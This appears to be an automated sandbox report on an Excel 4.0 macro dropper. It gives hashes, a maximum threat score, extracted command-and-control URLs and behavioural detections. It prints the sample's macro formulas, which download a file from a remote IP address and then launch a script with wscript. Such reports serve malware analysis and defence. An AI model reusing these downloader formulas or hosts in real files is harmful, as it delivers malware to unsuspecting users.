General

  • Target

    1300dbf1e945bbbbcd94425e78d769e3

  • Size

    6KB

  • Sample

    231221-2b4n3afda8

  • MD5

    1300dbf1e945bbbbcd94425e78d769e3

  • SHA1

    ecc9d802e437ef0c7844615036ed1bbf2346ec8b

  • SHA256

    a33f08043054b8c6a99d60d7b441d59ed9b129334cb380b3539341c72c193a64

  • SHA512

    8c6c280048e87fa0743ba55caa868313f6c7b4db4c2c8dfd0dcae1f8866c560eb83dbef3b6a38f41607693e4e7350f853d251d366da03d35b2a65b576f86b577

  • SSDEEP

    192:NDS/uSVbrA2OmmfRE8UhHFBFYuSb98yKV+z:NMueM2wu1FYPb98yKy

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://46.17.98.187/index.php

http://google.com/index.php

Attributes
  • formulas

    =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187/index.php","C:\~\pes.msi",0,0) =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://google.com/index.php","C:\~\pes.msi",0,0) =EXEC("wscript C:\zer\spp.vbs") =HALT()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

xlm40.dropper

http://google.com/index.php

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

Targets

    • Target

      1300dbf1e945bbbbcd94425e78d769e3

    • Size

      6KB

    • MD5

      1300dbf1e945bbbbcd94425e78d769e3

    • SHA1

      ecc9d802e437ef0c7844615036ed1bbf2346ec8b

    • SHA256

      a33f08043054b8c6a99d60d7b441d59ed9b129334cb380b3539341c72c193a64

    • SHA512

      8c6c280048e87fa0743ba55caa868313f6c7b4db4c2c8dfd0dcae1f8866c560eb83dbef3b6a38f41607693e4e7350f853d251d366da03d35b2a65b576f86b577

    • SSDEEP

      192:NDS/uSVbrA2OmmfRE8UhHFBFYuSb98yKV+z:NMueM2wu1FYPb98yKy

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

MITRE ATT&CK Enterprise v15

Tasks